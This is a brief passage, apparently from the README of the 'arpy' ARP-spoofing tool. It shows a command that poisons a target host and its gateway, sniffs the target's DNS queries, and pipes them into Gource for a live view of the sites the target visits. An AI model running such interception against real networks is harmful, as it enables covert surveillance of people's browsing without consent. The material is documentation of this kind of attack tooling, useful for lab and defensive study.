DNS Sniff With Gource
This function is more or less the same as the above, however it provides the functionality to pass it through Gource to get a live feed of what your target is viewing.
ivanvza:~/ > sudo arpy -t 192.168.1.3 -g 192.161.1.1 -i en0 --sniff-dns-gource
[INFO] For a live gource feed run this command in parallel with this one:

tail -f /tmp/36847parsed_nmap | tee /dev/stderr | gource -log-format custom -a 1 --file-idle-time 0 -

[Info] Filter: ((src host 192.168.1.3 or dst host 192.168.1.3) and dst port 53)
